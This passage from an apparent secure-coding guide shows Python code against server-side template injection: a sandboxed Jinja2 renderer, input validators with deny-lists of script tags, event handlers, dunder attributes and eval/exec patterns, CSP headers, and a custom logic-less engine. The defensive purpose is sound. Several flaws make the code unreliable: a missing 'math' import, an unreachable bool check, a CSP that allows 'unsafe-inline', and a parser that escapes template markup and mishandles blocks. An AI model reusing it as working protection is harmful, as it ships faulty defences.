            if len(value) > 100:
                raise ValueError("Dictionary too large")
            return {k: self._sanitize_context_value(v) 
                   for k, v in value.items() if self._is_valid_context_key(k)}
        else:
            # Convert unknown types to string
            return str(value)[:1000]
    
    def _is_valid_template_name(self, name):
        """Validate template file names"""
        pattern = r'^[a-zA-Z0-9_/-]+\.(html|txt|xml)$'
        return (
            isinstance(name, str) and
            len(name) <= 100 and
            re.match(pattern, name) and
            '..' not in name and
            not name.startswith('/')
        )
    
    # Safe utility functions for templates
    def _safe_int(self, value, default=0):
        try:
            result = int(value)
            return result if -2**31 <= result <= 2**31-1 else default
        except (ValueError, TypeError):
            return default
    
    def _safe_float(self, value, default=0.0):
        try:
            result = float(value)
            return result if abs(result) < 1e10 else default
        except (ValueError, TypeError):
            return default
    
    def _format_currency(self, amount):
        try:
            return f"${float(amount):.2f}"
        except (ValueError, TypeError):
            return "$0.00"
    
    def _format_date(self, date_obj, format_str='%Y-%m-%d'):
        try:
            if isinstance(date_obj, datetime.datetime):
                return date_obj.strftime(format_str)
            return str(date_obj)
        except (AttributeError, ValueError):
            return 'Invalid date'
    
    # Safe filters
    def _safe_url_filter(self, url):
        """Validate and sanitize URLs"""
        if not isinstance(url, str) or len(url) > 2048:
            return '#'
        
        # Basic URL validation
        url_pattern = r'^https?://[a-zA-Z0-9.-]+[a-zA-Z0-9._/-]*$'
        if re.match(url_pattern, url):
            return url
        return '#'
    
    def _truncate_words_filter(self, text, count=10):
        """Safely truncate text by word count"""
        if not isinstance(text, str):
            return ''
        
        words = text.split()[:count]
        result = ' '.join(words)
        return result + '...' if len(text.split()) > count else result
    
    def _format_phone_filter(self, phone):
        """Format phone numbers safely"""
        if not isinstance(phone, str):
            return ''
        
        # Remove non-digits
        digits = re.sub(r'\D', '', phone)
        
        if len(digits) == 10:
            return f"({digits[:3]}) {digits[3:6]}-{digits[6:]}"
        return phone[:20]  # Limit length for safety

# Usage example
template_engine = SecureTemplateEngine()

def render_user_profile(username, user_data):
    """Safely render user profile template"""
    try:
        return template_engine.render_template(
            'user_profile.html',
            username=username,
            user_data=user_data,
            current_year=datetime.datetime.now().year
        )
    except (ValueError, SecurityError, RuntimeError) as e:
        # Log security violation
        print(f"Template security error: {e}")
        return template_engine.render_template('error.html', 
                                             error="Profile rendering failed")
3

Input Validation and Content Security Policies

Implement comprehensive input validation for all data that might reach templates. Use content security policies to prevent execution of injected code, and implement proper error handling that doesn't expose template internals or system information.

View implementation – PYTHON
from jinja2 import Environment, FileSystemLoader, select_autoescape
from jinja2.sandbox import SandboxedEnvironment
import html
import re
import json
from typing import Dict, Any, List, Union

class SecureTemplateValidator:
    """Comprehensive input validation for template systems"""
    
    def __init__(self):
        self.max_string_length = 5000
        self.max_collection_size = 500
        self.max_nesting_depth = 5
        
        # Patterns for different data types
        self.patterns = {
            'username': r'^[a-zA-Z0-9_-]{1,50}$',
            'email': r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$',
            'phone': r'^[\d\s\-\(\)\+]{10,20}$',
            'url': r'^https?://[a-zA-Z0-9.-]+[a-zA-Z0-9._/-]*$',
            'filename': r'^[a-zA-Z0-9._-]{1,100}$'
        }
        
        # Dangerous content patterns
        self.dangerous_patterns = [
            r'\{\{.*?\}\}',  # Template syntax
            r'\{%.*?%\}',   # Template blocks
            r'\{#.*?#\}',   # Template comments
            r'<script.*?>.*?</script>',  # Script tags
            r'javascript:',  # JavaScript protocol
            r'on\w+\s*=',   # Event handlers
            r'expression\s*\(',  # CSS expressions
            r'@import',      # CSS imports
            r'__.*?__',      # Python special attributes
        ]
    
    def validate_template_data(self, data: Dict[str, Any], 
                             schema: Dict[str, str] = None) -> Dict[str, Any]:
        """Validate all data before passing to templates"""
        if not isinstance(data, dict):
            raise ValueError("Template data must be a dictionary")
        
        if len(data) > 100:
            raise ValueError("Too many template variables")
        
        validated = {}
        
        for key, value in data.items():
            # Validate key
            if not self._is_valid_key(key):
                continue
            
            # Apply schema validation if provided
            expected_type = schema.get(key) if schema else None
            
            # Validate and sanitize value
            try:
                validated[key] = self._validate_value(
                    key, value, expected_type, depth=0
                )
            except ValueError as e:
                # Log validation error but continue with other fields
                print(f"Validation error for {key}: {e}")
                continue
        
        return validated
    
    def _is_valid_key(self, key: str) -> bool:
        """Validate template variable names"""
        return (
            isinstance(key, str) and
            1 <= len(key) <= 50 and
            re.match(r'^[a-zA-Z][a-zA-Z0-9_]*$', key) and
            not key.startswith('__') and
            key not in {'class', 'mro', 'globals', 'builtins'}
        )
    
    def _validate_value(self, key: str, value: Any, 
                       expected_type: str = None, depth: int = 0) -> Any:
        """Recursively validate template values"""
        if depth > self.max_nesting_depth:
            raise ValueError(f"Value for {key} nested too deeply")
        
        # Handle None values
        if value is None:
            return None
        
        # String validation
        if isinstance(value, str):
            return self._validate_string(key, value, expected_type)
        
        # Numeric validation
        elif isinstance(value, (int, float)):
            return self._validate_number(key, value)
        
        # Boolean validation
        elif isinstance(value, bool):
            return value
        
        # List validation
        elif isinstance(value, list):
            return self._validate_list(key, value, depth)
        
        # Dictionary validation
        elif isinstance(value, dict):
            return self._validate_dict(key, value, depth)
        
        # Convert other types to string with validation
        else:
            return self._validate_string(key, str(value))
    
    def _validate_string(self, key: str, value: str, 
                        expected_type: str = None) -> str:
        """Validate string values"""
        if len(value) > self.max_string_length:
            raise ValueError(f"String value for {key} too long")
        
        # Check for dangerous patterns
        for pattern in self.dangerous_patterns:
            if re.search(pattern, value, re.IGNORECASE | re.DOTALL):
                raise ValueError(f"Dangerous content detected in {key}")
        
        # Type-specific validation
        if expected_type and expected_type in self.patterns:
            if not re.match(self.patterns[expected_type], value):
                raise ValueError(f"Invalid {expected_type} format for {key}")
        
        # HTML escape the value
        return html.escape(value)
    
    def _validate_number(self, key: str, value: Union[int, float]) -> Union[int, float]:
        """Validate numeric values"""
        # Check for reasonable ranges
        if isinstance(value, int):
            if not (-2**31 <= value <= 2**31 - 1):
                raise ValueError(f"Integer value for {key} out of range")
        elif isinstance(value, float):
            if not (-1e10 <= value <= 1e10) or not math.isfinite(value):
                raise ValueError(f"Float value for {key} out of range or invalid")
        
        return value
    
    def _validate_list(self, key: str, value: List[Any], depth: int) -> List[Any]:
        """Validate list values"""
        if len(value) > self.max_collection_size:
            raise ValueError(f"List for {key} too large")
        
        validated = []
        for i, item in enumerate(value):
            item_key = f"{key}[{i}]"
            validated.append(self._validate_value(item_key, item, depth=depth+1))
        
        return validated
    
    def _validate_dict(self, key: str, value: Dict[str, Any], depth: int) -> Dict[str, Any]:
        """Validate dictionary values"""
        if len(value) > self.max_collection_size:
            raise ValueError(f"Dictionary for {key} too large")
        
        validated = {}
        for sub_key, sub_value in value.items():
            if not self._is_valid_key(sub_key):
                continue
                
            full_key = f"{key}.{sub_key}"
            validated[sub_key] = self._validate_value(
                full_key, sub_value, depth=depth+1
            )
        
        return validated

# Content Security Policy implementation
class TemplateCSP:
    """Content Security Policy for template systems"""
    
    @staticmethod
    def get_csp_headers():
        """Generate CSP headers to prevent template injection"""
        return {
            'Content-Security-Policy': (
                "default-src 'self'; "
                "script-src 'self' 'unsafe-inline'; "
                "style-src 'self' 'unsafe-inline'; "
                "img-src 'self' data: https:; "
                "font-src 'self'; "
                "connect-src 'self'; "
                "object-src 'none'; "
                "base-uri 'self'; "
                "form-action 'self'"
            ),
            'X-Content-Type-Options': 'nosniff',
            'X-Frame-Options': 'DENY',
            'X-XSS-Protection': '1; mode=block'
        }

# Secure template rendering with validation
class SecureTemplateRenderer:
    def __init__(self):
        self.validator = SecureTemplateValidator()
        self.env = SandboxedEnvironment(
            loader=FileSystemLoader('templates'),
            autoescape=select_autoescape(['html', 'xml']),
            trim_blocks=True,
            lstrip_blocks=True
        )
        
        # Clear dangerous globals
        self.env.globals.clear()
        
        # Add only safe functions
        self.env.globals.update({
            'len': len,
            'str': str,
            'int': int,
            'float': float,
            'abs': abs,
            'min': min,
            'max': max
        })
    
    def render(self, template_name: str, data: Dict[str, Any], 
              schema: Dict[str, str] = None) -> str:
        """Safely render template with comprehensive validation"""
        try:
            # Validate template name
            if not self._is_safe_template_name(template_name):
                raise ValueError("Invalid template name")
            
            # Validate all input data
            validated_data = self.validator.validate_template_data(data, schema)
            
            # Render template
            template = self.env.get_template(template_name)
            result = template.render(**validated_data)
            
            return result
            
        except Exception as e:
            # Log error securely (don't expose internals)
            print(f"Template rendering error: {type(e).__name__}")
            
            # Return safe error template
            try:
                error_template = self.env.get_template('error.html')
                return error_template.render(error_message="Content unavailable")
            except:
                return "<p>Content temporarily unavailable</p>"
    
    def _is_safe_template_name(self, name: str) -> bool:
        """Validate template file names"""
        pattern = r'^[a-zA-Z0-9_/-]+\.(html|txt|xml)$'
        return (
            isinstance(name, str) and
            len(name) <= 100 and
            re.match(pattern, name) and
            '..' not in name and
            not name.startswith('/') and
            not name.startswith('..')
        )

# Usage example with Flask
from flask import Flask, request, make_response

app = Flask(__name__)
renderer = SecureTemplateRenderer()
csp = TemplateCSP()

@app.route('/profile/<username>')
def user_profile(username):
    try:
        # Define data schema
        schema = {
            'username': 'username',
            'email': 'email',
            'bio': 'string'
        }
        
        # Get user data (from database, etc.)
        user_data = get_user_data(username)  # Your data source
        
        # Render securely
        html_content = renderer.render('user_profile.html', user_data, schema)
        
        # Create response with CSP headers
        response = make_response(html_content)
        for header, value in csp.get_csp_headers().items():
            response.headers[header] = value
        
        return response
        
    except Exception as e:
        # Secure error handling
        error_html = renderer.render('error.html', {'message': 'Profile unavailable'})
        return make_response(error_html, 500)
4

Alternative Safe Template Systems

Consider using template systems specifically designed for security, such as logic-less templates (Mustache, Handlebars) or implementing custom template processors with restricted functionality. These alternatives reduce the attack surface by limiting template capabilities.

View implementation – PYTHON
import re
import html
import json
from typing import Dict, Any, List, Optional
from abc import ABC, abstractmethod

# SECURE: Logic-less template system implementation
class SafeTemplateEngine:
    """Custom secure template engine with restricted functionality"""
    
    def __init__(self):
        self.max_template_size = 50000
        self.max_data_size = 100000
        self.max_iterations = 1000
        
        # Allowed template operations
        self.operations = {
            'variable': self._render_variable,
            'conditional': self._render_conditional,
            'loop': self._render_loop,
            'include': self._render_include
        }
        
        # Template cache
        self._template_cache = {}
        
        # Allowed template includes
        self._allowed_includes = {
            'header.html', 'footer.html', 'navigation.html',
            'sidebar.html', 'error.html'
        }
    
    def render(self, template_content: str, data: Dict[str, Any]) -> str:
        """Render template with safe processing"""
        try:
            # Validate inputs
            self._validate_template(template_content)
            self._validate_data(data)
            
            # Parse template into safe operations
            parsed_template = self._parse_template(template_content)
            
            # Render with validated data
            result = self._render_parsed_template(parsed_template, data)
            
            return result
            
        except Exception as e:
            print(f"Template rendering error: {e}")
            return self._render_error_template()
    
    def _validate_template(self, template: str) -> None:
        """Validate template content"""
        if not isinstance(template, str):
            raise ValueError("Template must be a string")
        
        if len(template) > self.max_template_size:
            raise ValueError("Template too large")
        
        # Check for dangerous patterns
        dangerous_patterns = [
            r'<script.*?>.*?</script>',
            r'javascript:',
            r'on\w+\s*=',
            r'expression\s*\(',
            r'import\s+',
            r'eval\s*\(',
            r'exec\s*\(',
            r'__.*?__'
        ]
        
        for pattern in dangerous_patterns:
            if re.search(pattern, template, re.IGNORECASE | re.DOTALL):
                raise ValueError("Dangerous content in template")
    
    def _validate_data(self, data: Dict[str, Any]) -> None:
        """Validate template data"""
        if not isinstance(data, dict):
            raise ValueError("Template data must be a dictionary")
        
        # Check data size (rough estimate)
        data_size = len(json.dumps(data, default=str))
        if data_size > self.max_data_size:
            raise ValueError("Template data too large")
        
        # Validate data structure recursively
        self._validate_data_recursive(data, depth=0)
    
    def _validate_data_recursive(self, obj: Any, depth: int) -> None:
        """Recursively validate data structure"""
        if depth > 10:  # Prevent deeply nested structures
            raise ValueError("Data nested too deeply")
        
        if isinstance(obj, dict):
            if len(obj) > 100:  # Limit dictionary size
                raise ValueError("Dictionary too large")
            
            for key, value in obj.items():
                if not isinstance(key, str) or len(key) > 100:
                    raise ValueError("Invalid dictionary key")
                self._validate_data_recursive(value, depth + 1)
                
        elif isinstance(obj, list):
            if len(obj) > 1000:  # Limit list size
                raise ValueError("List too large")
            
            for item in obj:
                self._validate_data_recursive(item, depth + 1)
                
        elif isinstance(obj, str):
            if len(obj) > 10000:  # Limit string length
                raise ValueError("String too long")
                
        elif not isinstance(obj, (int, float, bool, type(None))):
            raise ValueError("Invalid data type")
    
    def _parse_template(self, template: str) -> List[Dict[str, Any]]:
        """Parse template into safe operations"""
        operations = []
        position = 0
        
        # Simple template syntax: {{variable}}, {{#if condition}}, {{#each items}}
        pattern = r'\{\{(#?)([^}]+)\}\}'
        
        for match in re.finditer(pattern, template):
            # Add literal text before this match
            if match.start() > position:
                literal_text = template[position:match.start()]
                if literal_text:
                    operations.append({
                        'type': 'literal',
                        'content': html.escape(literal_text)
                    })
            
            # Parse template operation
            is_block = bool(match.group(1))
            content = match.group(2).strip()
            
            if is_block:
                operations.append(self._parse_block_operation(content, template, match.end()))
            else:
                operations.append(self._parse_variable_operation(content))
            
            position = match.end()
        
        # Add remaining literal text
        if position < len(template):
            literal_text = template[position:]
            if literal_text:
                operations.append({
                    'type': 'literal',
                    'content': html.escape(literal_text)
                })
        
        return operations
    
    def _parse_variable_operation(self, content: str) -> Dict[str, Any]:
        """Parse variable reference"""
        # Simple variable syntax: variable_name or variable.property
        if not re.match(r'^[a-zA-Z][a-zA-Z0-9_.]*$', content):
            raise ValueError(f"Invalid variable syntax: {content}")
        
        return {
            'type': 'variable',
            'path': content.split('.')
        }
    
    def _parse_block_operation(self, content: str, template: str, start_pos: int) -> Dict[str, Any]:
        """Parse block operations (if, each, etc.)"""
        parts = content.split()
        if not parts:
            raise ValueError("Empty block operation")
        
        operation = parts[0]
        
        if operation == 'if':
            if len(parts) != 2:
                raise ValueError("Invalid if syntax")
            return {
                'type': 'conditional',
                'condition': parts[1],
                'content': self._extract_block_content(template, start_pos, 'if')
            }
        
        elif operation == 'each':
            if len(parts) != 2:
                raise ValueError("Invalid each syntax")
            return {
                'type': 'loop',
                'variable': parts[1],
                'content': self._extract_block_content(template, start_pos, 'each')
            }
        
        else:
            raise ValueError(f"Unknown block operation: {operation}")
    
    def _extract_block_content(self, template: str, start_pos: int, block_type: str) -> str:
        """Extract content between block tags"""
        end_pattern = f'\{{\{{/{block_type}\}}\}}'
        match = re.search(end_pattern, template[start_pos:])
        
        if not match:
            raise ValueError(f"Unclosed {block_type} block")
        
        return template[start_pos:start_pos + match.start()]
    
    def _render_parsed_template(self, operations: List[Dict[str, Any]], data: Dict[str, Any]) -> str:
        """Render parsed template operations"""
        result = []
        
        for operation in operations:
            operation_type = operation['type']
            
            if operation_type == 'literal':
                result.append(operation['content'])
            
            elif operation_type == 'variable':
                value = self._get_variable_value(operation['path'], data)
                result.append(html.escape(str(value)) if value is not None else '')
            
            elif operation_type == 'conditional':
                if self._evaluate_condition(operation['condition'], data):
                    nested_ops = self._parse_template(operation['content'])
                    result.append(self._render_parsed_template(nested_ops, data))
            
            elif operation_type == 'loop':
                items = self._get_variable_value(operation['variable'].split('.'), data)
                if isinstance(items, list):
                    loop_count = 0
                    for item in items:
                        if loop_count >= self.max_iterations:
                            break
                        
                        # Create context with loop item
                        loop_context = data.copy()
                        loop_context['item'] = item
                        loop_context['index'] = loop_count
                        
                        nested_ops = self._parse_template(operation['content'])
                        result.append(self._render_parsed_template(nested_ops, loop_context))
                        loop_count += 1
        
        return ''.join(result)
    
    def _get_variable_value(self, path: List[str], data: Dict[str, Any]) -> Any:
        """Safely get variable value from data"""
        current = data
        
        for key in path:
            if not isinstance(current, dict) or key not in current:
                return None
            current = current[key]
        
        return current
    
    def _evaluate_condition(self, condition: str, data: Dict[str, Any]) -> bool:
        """Safely evaluate conditional expressions"""
        # Only allow simple variable existence checks
        if re.match(r'^[a-zA-Z][a-zA-Z0-9_.]*$', condition):
            value = self._get_variable_value(condition.split('.'), data)
            return bool(value)
        
        return False
    
    def _render_error_template(self) -> str:
        """Render safe error template"""
        return "<p>Content temporarily unavailable</p>"

# Usage example
template_engine = SafeTemplateEngine()

def render_user_list(users_data):
    """Example of safe template rendering"""
    template = """
    <div class="users">
        <h2>User List</h2>
        {{#each users}}
            <div class="user">
                <h3>{{item.name}}</h3>
                <p>Email: {{item.email}}</p>
                {{#if item.active}}
                    <span class="status active">Active</span>
                {{/if}}
            </div>
        {{/each}}
    </div>
    """
    
    try:
        return template_engine.render(template, {'users': users_data})
    except Exception as e:
        print(f"Rendering error: {e}")
        return "<p>Unable to display user list</p>"

# Alternative: Use established logic-less template libraries
try:
    import pystache  # Mustache templates for Python
    
    class MustacheTemplateRenderer:
        """Wrapper for safe Mustache template rendering"""
        
        def __init__(self):
            self.renderer = pystache.Renderer(
                escape=lambda text: html.escape(str(text)),
                missing_tags='strict'  # Fail on missing variables
            )
        
        def render(self, template: str, data: Dict[str, Any]) -> str:
            """Render Mustache template safely"""
            try:
                # Validate inputs
                if len(template) > 50000:
                    raise ValueError("Template too large")
                
                # Mustache is logic-less, making it inherently safer
                return self.renderer.render(template, data)
                
            except Exception as e:
                print(f"Mustache rendering error: {e}")
                return "<p>Content unavailable</p>"
    
    # Example usage
    mustache_renderer = MustacheTemplateRenderer()
    
    def render_mustache_profile(user_data):
        template = """
        <div class="profile">
            <h1>{{name}}</h1>
            <p>{{email}}</p>
            {{#bio}}<p>{{bio}}</p>{{/bio}}
        </div>
        """
        
        return mustache_renderer.render(template, user_data)
        
except ImportError:
    print("pystache not available - using custom template engine")

Detect This Vulnerability in Your Code

Sourcery automatically identifies server-side template injection in python and many other security issues in your codebase.